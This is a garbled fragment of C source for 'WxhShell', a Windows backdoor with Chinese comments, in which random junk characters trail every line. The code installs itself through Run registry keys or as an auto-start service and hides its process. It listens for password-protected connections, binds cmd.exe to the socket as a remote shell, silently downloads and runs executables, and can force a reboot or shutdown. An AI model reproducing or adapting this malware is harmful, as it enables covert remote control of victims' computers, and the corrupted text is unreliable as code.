    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q={3fm  
    if(Boot(SHUTDOWN)) x5yZ+`Gc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (j)>npOd9  
    else { P^/e!%UgC  
    closesocket(wsh); w\a9A#v,  
    ExitThread(0); @:u2{>Yl  
    } 5)K?:7  
    break; !\Q/~p'jS  
    } Y,%G5X@S<  
  // 获取shell #0M,g  
  case 's': { XR)I,@i`'  
    CmdShell(wsh); KDAZG+u+  
    closesocket(wsh); JR/^Go$^  
    ExitThread(0); SI l<\  
    break; _@]@&^K$E  
  } :e4[isI  
  // 退出 g5~1uU$O  
  case 'x': { ")qO#b4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 75H5{#)  
    CloseIt(wsh); 4[LzjC  
    break; L_YY,  
    } 'q*/P&x5  
  // 离开 q1M16qv5  
  case 'q': { CY8=prC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HuL9' M  
    closesocket(wsh); L5>.ku=T  
    WSACleanup();  gY@$g  
    exit(1); ,OO0*%  
    break; kasx4m]^  
        } _i&awm/U  
  } SJI+$L\'  
  } D)LqkfJ}z^  
kKSn^q L*  
  // 提示信息 $Xo_C_:B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qte'f+  
} `ZAGseDd~  
  } Y'i_EX|  
@7B!(Q  
  return; .zyi'Kj  
} wkZ}o,{*:  
8:0.Pi(ln@  
// shell模块句柄 9L xa?Y1  
int CmdShell(SOCKET sock) 9k!#5_ M  
{ KbF,jm5  
STARTUPINFO si; d\aU rsPn  
ZeroMemory(&si,sizeof(si)); !xh.S#B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V,Br|r$l(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2f@gR9T  
PROCESS_INFORMATION ProcessInfo; JS1''^G&.  
char cmdline[]="cmd"; [VwoZX:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (%EhkTb  
  return 0; IE9A _u*  
} x k5Z&z  
}Pe0zx.Ge  
// 自身启动模式 {oN7I'>  
int StartFromService(void) i50^%,  
{ 8MPXrc,9-  
typedef struct +3D3[.n  
{ 9y"*H2$#  
  DWORD ExitStatus; 7w{>bYP  
  DWORD PebBaseAddress; Obu>xK(  
  DWORD AffinityMask; s|Acv4| V  
  DWORD BasePriority; m48m5>  
  ULONG UniqueProcessId; 5*pCb,z>q  
  ULONG InheritedFromUniqueProcessId; J$D#)w!$j  
}   PROCESS_BASIC_INFORMATION; QR($KW(  
/A;!g5Y  
PROCNTQSIP NtQueryInformationProcess; `!\`yI$!%w  
BI-xo}KI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MRdZ'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Nv*ePz  
[MKL>\U  
  HANDLE             hProcess; \{[Gdj`  
  PROCESS_BASIC_INFORMATION pbi; RcH",*U  
!bG%@{WT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O=Py XOf  
  if(NULL == hInst ) return 0; SXA_P{j&a  
LHb(T` .=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^H1B 62_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8D U|j-I8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EsU-Ckb_2:  
+,"/z\QO  
  if (!NtQueryInformationProcess) return 0; .* xaI+:  
D"m]`H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jiljf2h  
  if(!hProcess) return 0; gzthM8A  
;V~[kF=t0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?E0j)P/ (  
gZe(aGh  
  CloseHandle(hProcess); 9a5x~Z:'  
tTB,eR$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J]A!>|Ic  
if(hProcess==NULL) return 0; Vs)Pg\B?  
2WRa@;Tj  
HMODULE hMod; {]/}3t  
char procName[255]; `)5E_E3  
unsigned long cbNeeded; l* =\0  
ew# t4~hh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  s=&&gC1  
/[iqga=  
  CloseHandle(hProcess); <0r2m4z  
=G%k|  
if(strstr(procName,"services")) return 1; // 以服务启动 |#);^z_  
J2M[aibV  
  return 0; // 注册表启动 }]ak6'|[  
} >TT4;ph  
x t7ZrT  
// 主模块 /G`'9cD  
int StartWxhshell(LPSTR lpCmdLine) XrY\ot`,D  
{ 9K`(Ys&  
  SOCKET wsl; 60B6~@]P  
BOOL val=TRUE; IvFxI#.ju  
  int port=0; l&@]   
  struct sockaddr_in door; B zmmE2~*  
A{Jp>15AVg  
  if(wscfg.ws_autoins) Install(); diF-`~  
p0jQQg  
port=atoi(lpCmdLine); n 7Mab  
#d,+87]\=  
if(port<=0) port=wscfg.ws_port; ,iKL 68  
18ApHp  
  WSADATA data; 8LI,'XZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1PD{m{  
WdEVT,jjh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   038|>l-9[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :C*7 DS  
  door.sin_family = AF_INET; 50#iC@1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zO BLF|L=  
  door.sin_port = htons(port); j\kT H  
04`2MNfxG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \':'8:E  
closesocket(wsl); !7C[\No(  
return 1; R_IUuz$e  
} ,@mr})s  
?RyeZKf  
  if(listen(wsl,2) == INVALID_SOCKET) { z>rl7&[@  
closesocket(wsl); v]UT1d=_T  
return 1; |sP;`h}I%  
} 'aYUF&GG  
  Wxhshell(wsl); V\$'3(*  
  WSACleanup(); [Yr }:B <  
Wt|IKCx   
return 0; .ME>ICA  
a<c]N:1  
} dux.Z9X?  
xeo5)  
// 以NT服务方式启动 u^HC1r|%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^U"$uJz!c  
{ cEI "  
DWORD   status = 0; (_h=|VjK(I  
  DWORD   specificError = 0xfffffff; 5bKBVkJ'  
U($bR|%D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6# [  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s!WGs_1@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _ebo  
  serviceStatus.dwWin32ExitCode     = 0; 0,b.;r  
  serviceStatus.dwServiceSpecificExitCode = 0; e"7<&% Oq  
  serviceStatus.dwCheckPoint       = 0; ,sw|OYb  
  serviceStatus.dwWaitHint       = 0; ;gS)o#v0  
YfRjr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t1Ty.F)r  
  if (hServiceStatusHandle==0) return; nHAET  
eh\_;2P  
status = GetLastError(); S#h-X(4  
  if (status!=NO_ERROR) {zd0 7!9y  
{ O+iNR9O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ''t\J^+&  
    serviceStatus.dwCheckPoint       = 0; bSa%?laS  
    serviceStatus.dwWaitHint       = 0; _"_ 21uB  
    serviceStatus.dwWin32ExitCode     = status; %r E:5)  
    serviceStatus.dwServiceSpecificExitCode = specificError; tuT>,BbR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k P]'  
    return; _}bs0 kIz  
  } I+08tXO  
pco:]3BF6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5;WESk  
  serviceStatus.dwCheckPoint       = 0; s fD@lW3  
  serviceStatus.dwWaitHint       = 0; S vTd#>ke  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #mT\B[4h  
} .r ,wc*SF  
Pz\4#E]  
// 处理NT服务事件,比如:启动、停止 (G1KMy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8jBrD1  
{ @:,B /B;  
switch(fdwControl) f.yvKi.Cm  
{ k^VL{z:EWB  
case SERVICE_CONTROL_STOP: Q$Q>pV;uH  
  serviceStatus.dwWin32ExitCode = 0; zR@4Z>6   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; azhilUD8  
  serviceStatus.dwCheckPoint   = 0; v11Uw?CM  
  serviceStatus.dwWaitHint     = 0; !uZ)0R  
  { >X@4wP 7l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + d?p? v  
  } 0P_=Oy"l-  
  return; o#Gf7.E8  
case SERVICE_CONTROL_PAUSE: ~,^pya  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; scc+r  
  break; .-Z=Aa>  
case SERVICE_CONTROL_CONTINUE: 8SZZ_tS3r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $^TxLv  
  break; g5& ZXA  
case SERVICE_CONTROL_INTERROGATE: p>ba6BDJT  
  break; 4h*c{do  
}; %LM2CgH V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |*fi!nvk@  
} rF^H\U:w  
.8%&K0  
// 标准应用程序主函数 &0b\E73  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,kQCCn]  
{ 2y"L&3W  
] /"!J6(e  
// 获取操作系统版本 q!10 G  
OsIsNt=GetOsVer(); /wi*OZ7R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C1`fJh y  
&gLXS1O  
  // 从命令行安装 9kzJ5}  
  if(strpbrk(lpCmdLine,"iI")) Install(); V3S"LJ  
d[F3"b%  
  // 下载执行文件 c)j60y   
if(wscfg.ws_downexe) { 1b=,lm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 49o/S2b4z  
  WinExec(wscfg.ws_filenam,SW_HIDE); W-RqooEv  
} lRANXM  
/Moyn"Kj{  
if(!OsIsNt) { v)j3YhY  
// 如果时win9x,隐藏进程并且设置为注册表启动 N,bH@Q.Ci  
HideProc(); Hg~8Td**  
StartWxhshell(lpCmdLine); >qy$W4  
} j'uzjs[  
else ]\1H=g%Ou  
  if(StartFromService()) cy64xR BB  
  // 以服务方式启动 Qef5eih  
  StartServiceCtrlDispatcher(DispatchTable); M7fPaJKL  
else IKrojK8-?  
  // 普通方式启动 Y1wH_!%b  
  StartWxhshell(lpCmdLine); %ONU0xtqk  
pzT,fmfk  
return 0; s?JOGu  
} L9]y~[R:  
}~v&  
V.e30u5  
5yL\@7u`  
=========================================== g [u*`]-;v  
03n+kh  
{^.q6,l  
r,<p#4(>_  
W5uC5C*,l  
+<T361eyY  
" <CcSChCg  
v =_Ds<6n  
#include <stdio.h> en"\2+{Cg  
#include <string.h> OI,F,4e  
#include <windows.h> j;<s!A#  
#include <winsock2.h> ]pWn%aGv*Y  
#include <winsvc.h> J 1R5_b  
#include <urlmon.h> 2"QcjFW%  
}vb.>hy  
#pragma comment (lib, "Ws2_32.lib") z%;_h-  
#pragma comment (lib, "urlmon.lib") 0Of6$`  
C';Dc4j  
#define MAX_USER   100 // 最大客户端连接数 GP(nb,  
#define BUF_SOCK   200 // sock buffer 65vsQ|Zw  
#define KEY_BUFF   255 // 输入 buffer #~o<9O  
Hf +oG  
#define REBOOT     0   // 重启 * EPJeblAV  
#define SHUTDOWN   1   // 关机  6o1[fr  
9T\\hM)k  
#define DEF_PORT   5000 // 监听端口 pwv mb\  
,z01 *Yx  
#define REG_LEN     16   // 注册表键长度 x21XzGLY|}  
#define SVC_LEN     80   // NT服务名长度 GM Y[Gd  
mT>RQ.  
// 从dll定义API Y 8-;eqH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O YfRtfE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \8)FVpS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !y862oKD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t9.| i H  
dn&4 84  
// wxhshell配置信息 Eb8~i_B-  
struct WSCFG { 1XpqnyL&  
  int ws_port;         // 监听端口 ub2B!6f a  
  char ws_passstr[REG_LEN]; // 口令 JkEITuTth  
  int ws_autoins;       // 安装标记, 1=yes 0=no iX6*OEl/Q  
  char ws_regname[REG_LEN]; // 注册表键名 ;D<;pW  
  char ws_svcname[REG_LEN]; // 服务名 .IsOU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rw<O%i5/d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !ZM*)6^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y:Agmr,S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l>6p')F!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )=!|^M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xP 7mP+D  
;3iWV"&_A  
}; JH#p;7;  
^}UFtL i  
// default Wxhshell configuration ny0]Q@  
struct WSCFG wscfg={DEF_PORT, P=a&>i  
    "xuhuanlingzhe", wjTW{Bg~G  
    1, ^[6#Kw&E  
    "Wxhshell", (ylZ[M&B:  
    "Wxhshell", iM$iZ;Tp  
            "WxhShell Service", +fHqGZ]  
    "Wrsky Windows CmdShell Service", 4YXp,U  
    "Please Input Your Password: ", Y=/;7T  
  1, 4m%Yck{R  
  "http://www.wrsky.com/wxhshell.exe", s6DPb_,  
  "Wxhshell.exe" 9fYof  
    }; #+ {%>f  
KvjH\;78  
// 消息定义模块 \1eWI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dFZh1*1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z"*3p8N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u63Q<P<  
char *msg_ws_ext="\n\rExit."; As??_=>4  
char *msg_ws_end="\n\rQuit."; W]D+[mpgK  
char *msg_ws_boot="\n\rReboot..."; `69xR[f  
char *msg_ws_poff="\n\rShutdown..."; u~!Pzz3"  
char *msg_ws_down="\n\rSave to "; mj ,Oy  
zpy&\#Vc  
char *msg_ws_err="\n\rErr!"; }vZTiuzC  
char *msg_ws_ok="\n\rOK!"; KDr)'gl&  
V$ho9gQ!l[  
char ExeFile[MAX_PATH]; !,~C  
int nUser = 0; xv7nChB  
HANDLE handles[MAX_USER]; XvZ5Q  
int OsIsNt; R8|F qBs  
Yez  
SERVICE_STATUS       serviceStatus; aW#^@||B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -h2 1  
qxHsmGV  
// 函数声明 -3SRGr  
int Install(void); ;I>77gi`]  
int Uninstall(void); d 1 O+qS  
int DownloadFile(char *sURL, SOCKET wsh); :eBp`dmn  
int Boot(int flag); \wp8kSzC  
void HideProc(void); }7i}dyQv}  
int GetOsVer(void); /+m7J"Km  
int Wxhshell(SOCKET wsl); m@yx6[E#  
void TalkWithClient(void *cs); DCgiTT\  
int CmdShell(SOCKET sock); YVO~0bX:  
int StartFromService(void); N8Un42  
int StartWxhshell(LPSTR lpCmdLine); `nL^]i  
}b>e lz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V_9> Z?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RohD.`D  
u73/#!(1=H  
// 数据结构和表定义 ;z o?o t/  
SERVICE_TABLE_ENTRY DispatchTable[] = _m1WY7  
{ |RI77b:pX  
{wscfg.ws_svcname, NTServiceMain}, R[2h!.O8  
{NULL, NULL} ^Y^5 @ x=  
}; Rp.FG   
9z(h8H  
// 自我安装 m A|"  
int Install(void) tHo/Vly6Z  
{ (z'!'?v;  
  char svExeFile[MAX_PATH]; Ec['k&*7,  
  HKEY key; 3M{b:|3/q  
  strcpy(svExeFile,ExeFile); Y0nuwX*{  
SFa^$w  
// 如果是win9x系统,修改注册表设为自启动 jqy?Od )  
if(!OsIsNt) { N-GQ\&   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [mQ*];GA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Cn_ ODjo  
  RegCloseKey(key); 7h.:XlUm|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zx,a j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Tk4Vt  
  RegCloseKey(key); )h(yh50 B  
  return 0; g$S<_$Iey  
    } U=UnE"h  
  } Xu\22/Co  
} LWP&Si*j  
else { &?7+8n&+  
:=%`\\  
// 如果是NT以上系统,安装为系统服务 XcQ'(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !O#NP!   
if (schSCManager!=0) 9rQpKq:# E  
{ Q"H1(kG|  
  SC_HANDLE schService = CreateService FZtILlw  
  ( cH$Sk  
  schSCManager, D\V (r\i  
  wscfg.ws_svcname, N%`Eq@5  
  wscfg.ws_svcdisp, "a >a "Ei  
  SERVICE_ALL_ACCESS, UjQi9ELoJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V %Rz(a+c  
  SERVICE_AUTO_START, pi?U|&.1z  
  SERVICE_ERROR_NORMAL, -\=kd {*B  
  svExeFile, atWAhN  
  NULL, XWFuAE  
  NULL, ]#oqum@Yf1  
  NULL, (#k2S-5  
  NULL, ^7% KS  
  NULL #-u?+Nk/  
  ); S#, E)h/  
  if (schService!=0) f<G:}I  
  { )haHI)xR  
  CloseServiceHandle(schService); *G0r4Ui$  
  CloseServiceHandle(schSCManager); -* ;`~5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #$9rH 2zd  
  strcat(svExeFile,wscfg.ws_svcname); ^!>o5Y)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @uI_4a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [8.w2\<?  
  RegCloseKey(key); &\o !-EIK8  
  return 0; awa$o  
    } >P\/\xL=  
  } ceqYyVy  
  CloseServiceHandle(schSCManager); ,b8q$ R~\  
} tvG/oe .1'  
} FqK2[]8  
ZX!u\O|w  
return 1; L`{EXn[  
} &O.S ;b*+  
v><uHjP  
// 自我卸载 U0W- X9>y  
int Uninstall(void) *QpKeI  
{ gRdg3qvU  
  HKEY key; 5zH?1Z~*  
O~AOZ^a:2  
if(!OsIsNt) { hkL[hD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8TnByKZz  
  RegDeleteValue(key,wscfg.ws_regname); ~V4&l3o  
  RegCloseKey(key); y(RK|r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0Ie9T1D=  
  RegDeleteValue(key,wscfg.ws_regname); SggS8$a`  
  RegCloseKey(key); fX2PteA0qX  
  return 0; S?_ ;$Cn  
  } ]gQ4qu5  
} ii@O&g  
} UN}jpu<h  
else { xdH*[  
Pc4FEH/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); glppb$oB\  
if (schSCManager!=0) G&Sp }  
{ RT)*H>|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ' cl&S:  
  if (schService!=0) j@b4)t  
  { *:}NS8hP  
  if(DeleteService(schService)!=0) { ZrFC#wJb  
  CloseServiceHandle(schService); 8?r ,ylUj  
  CloseServiceHandle(schSCManager); J$?*qZ(oO  
  return 0; ]S~Z8T-[  
  } t>T |\WAAL  
  CloseServiceHandle(schService); ymBevL  
  } 2|)3Ly9  
  CloseServiceHandle(schSCManager); "3v[\M3  
} Hs+VA$$*  
} /0mbG!Ac  
+BRmqJ3  
return 1; HX{O@  
} >]k'3|vV  
YGObTIGJvf  
// 从指定url下载文件 oP".>g-.  
int DownloadFile(char *sURL, SOCKET wsh) [2!K 6  
{ 2 c <Qh=  
  HRESULT hr; zZ|Si  
char seps[]= "/"; 1;[\xqJ  
char *token; o~F @1  
char *file; q@p-)+D;  
char myURL[MAX_PATH]; ! \H!9FR  
char myFILE[MAX_PATH]; "K z=Z C  
4cql?W(D  
strcpy(myURL,sURL); ?s("@dz_  
  token=strtok(myURL,seps); d"|XN{  
  while(token!=NULL) oO|zRK1;/  
  { lV-7bZ  
    file=token; )dJaF#6j  
  token=strtok(NULL,seps); RvYH(!pQ  
  }  # a 'h,  
m[C-/f^u|  
GetCurrentDirectory(MAX_PATH,myFILE); '@u/] ra:  
strcat(myFILE, "\\"); 9(Vq@.;Z`j  
strcat(myFILE, file); /}Y>_8 7  
  send(wsh,myFILE,strlen(myFILE),0); [BHf>  
send(wsh,"...",3,0); })|+tZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qDO4&NO  
  if(hr==S_OK) elZ?>5P$}  
return 0; F+_4Q  
else PqIGc  
return 1; QH6Lb%]/  
85l 1  
} n~l )7_G  
8| zR8L  
// 系统电源模块 *lg1iP{]  
int Boot(int flag) Zg|z\VR  
{ Z^>[{|lIA  
  HANDLE hToken; ,ORZtj  
  TOKEN_PRIVILEGES tkp; &2{h]V6  
-L6 rXQV@j  
  if(OsIsNt) { a4X J0Tm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <w}k9(Ds  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |8h<Ls_  
    tkp.PrivilegeCount = 1; 5f7;pS<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jpqq>Hbg_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Roy0?6O  
if(flag==REBOOT) { O k_I}X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EW$ Je  
  return 0; =8j;!7 p  
} pc5-'; n  
else { SHPaSq'&N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rs:<'A  
  return 0; W?G4\ubM3<  
} }.7!@!q.  
  } ( =->rP  
  else { PEoO s  
if(flag==REBOOT) { !J[3U   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cU5x8[2  
  return 0; 8<k0j&~J  
} J1Mm,LTO  
else { jcN84AaRFI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MwL' H<  
  return 0; `pN"T?Pk  
} d5]9FIj  
} Y*O7lZuF%  
xUPM-eF=  
return 1; ,:QG%Et  
} [b J/$A  
e%j+,)Ry  
// win9x进程隐藏模块 : KZI+  
void HideProc(void) 7C ABM  
{ )__vPPko i  
)ye[R^!}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ^DVr>u  
  if ( hKernel != NULL ) bc5+}&W  
  { ";9cYoKRY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M'W@K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `ItMn&P  
    FreeLibrary(hKernel); U}6'_ PRQ  
  } ()K%Rn  
=lS~2C  
return; 0[xum  
} bP6QF1L  
4>{q("r,  
// 获取操作系统版本 n<kcK  
int GetOsVer(void) [Ym?"YwVX  
{ 42:\1B#[  
  OSVERSIONINFO winfo; ? 8S0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B>t$Z5Q^X  
  GetVersionEx(&winfo); O:RPH{D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G[r_|-^S  
  return 1; 8=T;R&U^M  
  else pQ*9)C   
  return 0; U#+S9jWe  
} E$34myOVf  
0X`Qt[  
// 客户端句柄模块 ss%ahs  
int Wxhshell(SOCKET wsl) jio1 #&  
{ $B*Ek>EK  
  SOCKET wsh; RqXcL,,9  
  struct sockaddr_in client; 1a| q&L`o  
  DWORD myID; [sTr#9Z  
5P -IZ8~$  
  while(nUser<MAX_USER) U{RW=sYB~9  
{ S,lJ&Rsu  
  int nSize=sizeof(client); 3otia ;&B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #DwTm~V0"  
  if(wsh==INVALID_SOCKET) return 1; >yg mE`g  
9cWl/7;zXO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W cPDPu~/  
if(handles[nUser]==0) ,JN2q]QPP  
  closesocket(wsh); fg%I?ou  
else kG &.|  
  nUser++; kW4/0PD  
  } X(?.*m@+TB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d[w'j/{  
'[~NRKQJ  
  return 0; utQE$0F  
} nE+sbfC   
*pk*ijdB  
// 关闭 socket Q{UR3U'Q  
void CloseIt(SOCKET wsh) Zb8Ty~.\P  
{ F5wCl2I  
closesocket(wsh); _$NFeqLww  
nUser--; j@v*q\X&  
ExitThread(0); IaH8#3+a  
} C&,&~^_F  
x<"1T w5e  
// 客户端请求句柄  ^vYH"2  
void TalkWithClient(void *cs) ]=2Ba<)m  
{ b~Op1p  
kUmrJBh$  
  SOCKET wsh=(SOCKET)cs; \kvd;T#t6  
  char pwd[SVC_LEN]; rm;'/l8Y-E  
  char cmd[KEY_BUFF]; VThcG( NF  
char chr[1]; cTHSPr?<  
int i,j; xpx=t71Hq  
y!6B Gz  
  while (nUser < MAX_USER) { ANc)igo  
x:88E78  
if(wscfg.ws_passstr) { yN5g]U. Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4cRF3$a md  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wP/&k`HQ#i  
  //ZeroMemory(pwd,KEY_BUFF); 'LpJ:Th  
      i=0; `g<@F^x5  
  while(i<SVC_LEN) { 7u6o~(  
Ha1E /b]K  
  // 设置超时 "2i{ L '  
  fd_set FdRead; ePq(:ih  
  struct timeval TimeOut; a57Y9.H`o  
  FD_ZERO(&FdRead); xM8}Xo  
  FD_SET(wsh,&FdRead); fB:9:NX  
  TimeOut.tv_sec=8; ]U!vZY@\  
  TimeOut.tv_usec=0; X,IjM&o"Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @ JZ I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?FVX &{{V  
Al09R,I;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w0)V3  
  pwd=chr[0]; 4[ M!x  
  if(chr[0]==0xd || chr[0]==0xa) { MGfDxHg]  
  pwd=0; @HxEp;*NH"  
  break; P(_D%0xKm  
  } &dh%sFy  
  i++; ^I~2t|}  
    } |Up+Kc:z/n  
{^i73}@O  
  // 如果是非法用户,关闭 socket $HF. 02{|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); );_g2=:#  
} ]@Y8! ,  
b4Br!PL@G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5B#q/d1/a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .X\p;~H 5  
`utv@9 _z  
while(1) { mp!KPw08':  
<{bQl L  
  ZeroMemory(cmd,KEY_BUFF); )XmV3.rI  
}&I\a  
      // 自动支持客户端 telnet标准   f_}/JF  
  j=0; nT..+ J)  
  while(j<KEY_BUFF) { 9W:oo:dK F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _T&?H&#  
  cmd[j]=chr[0]; J0*hJ-/u  
  if(chr[0]==0xa || chr[0]==0xd) { iZ<^p1i  
  cmd[j]=0; K 4QJDC8  
  break; HYyO/U9z|I  
  } p~6/+ap  
  j++; dqnH7okZ  
    } "~(qp_AI  
z8_m<uewz  
  // 下载文件 /vll*}}  
  if(strstr(cmd,"http://")) { 1 0lvhzU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DZ92;m  
  if(DownloadFile(cmd,wsh)) &)JQ6J_|\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'DO^($N  
  else _ui03veA1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A-^[4&rb  
  } Ig}G"GR  
  else { lT#&\JQ  
k"\%x =#  
    switch(cmd[0]) { 6!dbJ5x1  
  k!3X4;F!_  
